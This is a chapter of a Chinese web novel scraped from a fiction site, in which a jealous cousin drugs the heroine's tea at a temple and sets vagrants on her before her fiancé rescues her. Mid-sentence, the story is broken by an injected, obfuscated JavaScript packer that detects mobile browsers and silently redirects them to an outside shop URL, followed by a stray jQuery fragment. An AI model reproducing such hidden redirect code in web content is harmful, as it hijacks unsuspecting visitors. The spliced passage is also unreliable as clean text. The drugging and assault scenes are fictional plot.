文趣网 > 其他小说 > 装乖后她杀疯了 > 25. 毁掉婚约(二)
    翌日,天光大亮,晴空万里无云。

    晨光穿透层叠云絮,温柔洒落,铺遍合安禅寺青灰色的瓦片与朱红院墙。袅袅禅香顺着山间清风缓缓飘荡,悠远的钟声沉沉响起,漫过整座山林。

    山间草木郁郁葱葱,枝头雀鸟轻啼,溪水叮咚流淌,处处是安宁静谧的禅院景致。

    按照大晋婚嫁旧礼,待嫁女子婚前需携阖家亲眷入寺斋戒礼佛,祈求婚途顺遂,一生安稳。

    今日宋府全员出动,除却卧病榻中无法起身的宋知逾,还有不必参与婚嫁祈福的妾室柳姨娘,其余人尽数换上素净衣衫,奔赴禅寺。

    几辆黑漆马车稳稳停在寺门外,宋府众人陆续掀帘下车。每个人脸上都挂着端庄平和的神情,只是眼底深处各藏心事,暗流涌动。

    孟映雪跟在人群末尾,缓步走下马车。

    她身着一身月白薄纱襦裙,衣料轻盈通透,衬得身形愈发纤细窈窕。乌黑的长发未施半点繁饰,仅用一支温润的白玉簪松松绾起,余下发丝垂落肩头,柔顺雅致。

    晨光落在她清丽的眉眼间,衬得整个人干净又温顺,像一株无人惊扰的山间玉兰,温婉得很。

    外人所见的孟映雪,永远是温顺安静的孤女模样。可唯有她自己知晓,这副温顺皮囊之下,藏着隐忍的阴翳与步步为营的城府。

    可她从不是柔弱无害的白兔。

    她是蛰伏深渊静待时机,出手则一击必杀的猎手。

    昨夜宋家人的异动,她也略知一二。

    宋知薇惯会借刀杀人,昨夜里偷偷去了宋知瑶的院子,莫不是又要拿这个愚蠢的庶妹当枪使。

    孟映雪抬眸,目光淡淡扫向后山层层叠叠的竹林,眼尾极轻地弯了弯,没有半分慌乱,心底只剩一片笃定的清明。

    身侧的宋知瑶截然相反。

    她脸上遮着一层薄薄的白纱,掩去未愈的斑驳伤痕,垂着头,长睫死死压下眼底翻涌的戾气。藏在衣袖里的双手始终紧紧攥着,浑身肌肉紧绷,每一次呼吸都带着压抑的颤抖,整个人蓄势待发,满心都是复仇的执念。

    一行人踏着青石台阶,陆续踏入禅寺山门。

    正殿之内香火缭绕,僧侣盘膝诵经,绵长的梵音萦绕耳畔,氛围肃穆又清净。

    宋家众人依序上前,焚香跪拜,低头许愿,一举一动规整得体,挑不出半分错处。在外人眼中,这便是一门和睦,诚心向善的世家眷属。

    没人知晓,这端庄虔诚的表象之下,藏着何等肮脏歹毒的心思与杀机。

    祈福仪式结束后,禅寺主持亲自上前引路,礼数周全地请众人前往后院禅院歇息,等候午时的集体礼佛。

    众人应声四散,各自寻了去处消磨时辰。

    宋言正拉着主持闲谈香火功德以及禅院事宜,姿态儒雅端方;宋夫人则去往偏殿抄经,故作虔诚肃穆。这夫妻二人表面功夫做得滴水不漏。

    而宋知薇独自立在殿前雕花廊柱旁,凭栏眺望山间景色,似乎在等待着什么。

    宋知瑶深吸一口气,压下胸腔里疯狂翻涌的恨意与紧张,刻意摆出一副愧疚忏悔的模样,快步上前,追上缓步往后山走去的孟映雪。

    她放缓语气,音色柔和,带着几分恰到好处的怯懦与诚恳,和往日的尖锐刻薄截然不同。

    “表姐,我听闻后山临水竹榭最是清净,少有人往来,最适合静坐思过。我这些日子总念着自己从前诸多不是,心里一直愧疚不安,想趁着礼佛好好忏悔一番。不知表姐可否陪我一同前去,陪我静坐片刻?”

    这番说辞合情合理,挑不出半分破绽。

    孟映雪缓缓抬眸,眼底是全然的恬淡安然,眉眼间带着恰到好处的包容,看起来毫无半分防备。

    她轻轻点头,嗓音柔软温和:“自然可以。姐妹相伴静坐祈福,心意更诚,我陪你便是。”

    宋知瑶心底瞬间涌上极致的狂喜,压在心底的杀意几乎要藏不住,面上却愈发温顺乖巧,微微屈膝道谢:“多谢表姐体谅。”

    两人并肩而行,一步步走入后山竹林深处。

    后山与前殿的喧嚣祥和截然不同。

    连片的翠竹高耸林立,枝叶交错遮拢天光,林间青苔覆满青石地面,越往深处走,越是隔绝了所有人声喧嚣,静谧得只剩风吹竹叶的沙沙声响。

    整座竹林空空荡荡,杳无人迹,是绝佳的作案之地。

    行至竹林腹地,一方临水竹榭静静倚着溪流而立。竹制桌椅干净雅致,石桌上摆着僧人提前备好的山泉净水与素白瓷具,清冷干净,四下无人。

    宋知瑶停下脚步,心底的毒计彻底落定。

    她缓缓转身,脸上刻意装出的温顺一点点褪去,眼底所有的柔和尽数消散,取而代之的是浓得化不开的怨毒与阴狠。

    只是她依旧克制着情绪,没有显露分毫狰狞,依旧维持着平和的语气,轻声开口:“一路走来颇有些口干,寺中清茶静心安神,表姐一路辛苦,快坐下歇息,我为你斟杯茶。”

    “好。”

    孟映雪依言落座,脊背松弛地靠着竹椅,目光安静落在她身上,看似全然放松,实则将她所有细微动作尽收眼底。

    宋知瑶垂眸遮住眼底疯狂,抬手拿起桌上的白瓷茶壶。她指尖微动,趁着垂手斟茶的遮挡,飞快将藏在指甲缝隙的细腻药粉,尽数抖进澄澈的山泉水中。

    她动作极轻极快,手腕微晃,药粉瞬间溶于清水,茶水依旧透亮干净,看不出丝毫异样。紧接着,她轻轻摇晃茶壶,让药性彻底融散均匀,确保万无一失。

    做完这一切,她稳稳提起茶壶,斟满一盏清茶,双手轻轻推到孟映雪面前,眉眼弯弯,一副单纯无害的模样:“表姐,请饮茶。”

    孟映雪垂眸,视线落在那盏看似寻常的清茶上。

    水质清澈,茶香清淡,可她早已七七八八猜出水中暗藏着阴谋。

    她心底冷笑一声,面上依旧不动声色,抬手握住微凉的瓷盏。

    就在唇瓣即将贴上茶汤的刹那,她手腕借着抬盏的力道,极轻地向外一偏。

    宽大的衣袖恰好垂落,完美挡住杯口。盏中大半茶水无声倾洒,顺着杯沿落在青石地面,瞬间渗入青苔之中,消失得无影无踪。

    全程动作行云流水,轻柔无声,坐在对面的宋知瑶分毫未觉。

    孟映雪放下瓷盏时,茶盏之内早已空空如也。她的唇角扬起一抹浅淡的笑意:“茶水清甜,多谢表妹费心。”

    见此,宋知瑶高悬的心彻底落地,狂喜瞬间席卷全身。

    在她看来,孟映雪已然尽数饮下下药的茶水,用不了片刻,必定会四肢酸软神志涣散,彻底失去反抗之力。

    她强压着几乎溢出来的快意,悄悄抬起衣袖,对着竹林深处杂草丛生的暗处,飞快比出一个隐秘的手势。

    动手的信号,已然传出。

    不过瞬息,竹林两侧的荒草与树影之中,骤然窜出三道粗犷黑影。

    三名流民衣衫破旧,蓬头垢面,眼神浑浊粗鄙,一看便是混迹市井、无法无天的无赖之徒。他们收了宋知瑶的重金许诺,色胆包天,踏着杂乱的脚步声,直直朝着竹榭冲来。

    不堪入耳的污言秽语瞬间划破山林静谧。

    “小娘子独自在此?不如陪哥几个玩玩!”

    “生得这般好看,独自待在深山古寺,倒是可惜了!”

    “若是小娘子乖乖顺从,保你不受苦头,爷好好疼疼你!”

    粗蛮的嗓音刺耳又恶心,三人目光肆无忌惮地黏在孟映雪身上,透着赤裸裸的恶意。

    宋知瑶下意识后退半步,身子轻轻发抖,装出一副惊慌恐惧的模样,低垂的眼底却翻涌着癫狂的快意。

    成了!

    一切都成了!

    孟映雪,今日就是你的末日!你高高在上的风光,你来之不易的婚约,你所有的圆满顺遂,今日尽数要毁在这里!

    可预想中孟映雪药

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717432|206023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    性发作以及瘫软失神的画面,迟迟没有出现。

    石凳上的少女依旧坐得笔直,身姿纤挺从容,眉眼清冷沉静,没有半分迷离软弱。她静静看着冲来的三名凶徒,脸上的笑意彻底敛去,眼底只剩一片凉薄的漠然。

    宋知瑶脸上的血色瞬间褪得一干二净,浑身骤然冰凉。

    一股极致的恐慌顺着脊椎直冲头顶,她瞳孔骤缩,心神彻底大乱。

    怎么会?!

    药明明下得毫无破绽,茶也被她尽数喝下,怎么会半点异样都没有?

    细密的冷汗瞬间浸透她的里衣,手脚僵硬发凉,脑子一片空白,所有筹谋瞬间乱得一塌糊涂。

    与此同时,孟映雪袖中的指尖悄然收紧。

    她一早便料到对方的后手,出门前早已备好了特制药粉,藏在袖中,只需对方敢近身,她便可以瞬间制敌,不留痕迹。

    就在三名流民抬脚冲上竹榭、距离她不过数步之遥,千钧一发之际!

    竹林外侧,骤然传来一阵整齐急促的甲靴踏地声,声势浩荡,瞬间压过所有嘈杂。

    一道清冷凌厉、裹挟着滔天怒意的男声,骤然炸响在山林之间:

    “大胆狂徒!佛门净地,也敢放肆行凶!”

    是谢云峥!

    宋知瑶浑身一僵,脑子彻底懵了。

    他怎么会来的这么快?!

    下一瞬,一道挺拔颀长的身影快步冲破层层竹影,踏入这片僻静竹林。

    谢云峥一身玄色锦袍,身姿清挺卓绝,眉眼此刻覆满寒霜,周身气场凛冽冰冷,眼底翻涌着骇人戾气。

    他抬眼扫去,入目便是三名凶徒步步紧逼竹榭,以及立在一旁满脸惨白的宋知瑶。

    谢云峥眼底戾气暴涨,声音冷得没有一丝温度,厉声下令:“全部拿下!”

    紧随他而来的数十名侯府精锐侍卫,闻声瞬间飞扑而上,动作利落迅猛,顷刻之间便将三名猝不及防的流民死死按倒在地。

    铁臂桎梏死死扣住三人四肢,力道凶狠,半点不留情面。不过瞬息,方才嚣张跋扈的无赖便被彻底制服,动弹不得,只能狼狈趴在地上哀嚎。

    危机,瞬息瓦解。

    谢云峥余光未再施舍给地上的凶徒半分,脚下大步生风,转瞬便走到竹榭之中。

    他长臂一伸,毫不犹豫将孟映雪紧紧揽入怀中,宽厚的脊背替她挡住所有外界视线与残留的凶险,将所有恶意尽数隔绝在外。

    怀抱温热坚实,带着独属于他的安心气息。

    他垂眸凝着怀中人,方才强压的后怕尽数涌上眼底,深邃的眼眸里满是惊魂未定,嗓音微微发哑,带着难以掩饰的紧绷:“阿雪,有没有受伤?别怕,我来了。”

    简简单单一句话,沉稳有力,瞬间抚平所有慌乱。

    孟映雪顺势卸下所有紧绷的防备,乖乖靠在他怀中,眼帘轻轻垂着,长长的睫毛微微颤动,一双杏眸氤氲出浅浅的水雾,看着格外怯懦无辜。

    她抬手轻轻攥住他身前的衣襟,语气带着一丝刚受惊吓的轻软,带着浅浅鼻音:“阿峥哥哥,我没事……幸好你来了。”

    这副柔弱的模样,恰到好处,任谁看了都会心生怜惜。

    谢云峥看着她这副模样,心口阵阵发紧,心疼得无以复加。他抬手轻轻抚着她的后背,动作温柔至极,与方才杀伐凌厉的模样判若两人。

    “方才府中下人匆匆来报,说你在禅寺后山有危险。”他低头看着她,眼底满是全然的偏爱与紧张,“我生怕你出事,半分不敢耽搁,即刻带人赶了过来。”

    于旁人而言,禅寺祈福不过寻常琐事。

    可于他而言,只要牵扯到孟映雪的分毫动静,便容不得半点疏忽。他日日悬心,怕她受委屈,怕她被人算计,怕她身处暗处无人庇护。

    今日若非他来得及时,后果不堪设想。

    一想到方才险些让她身陷险境,谢云峥眼底的寒意,便又重了几分。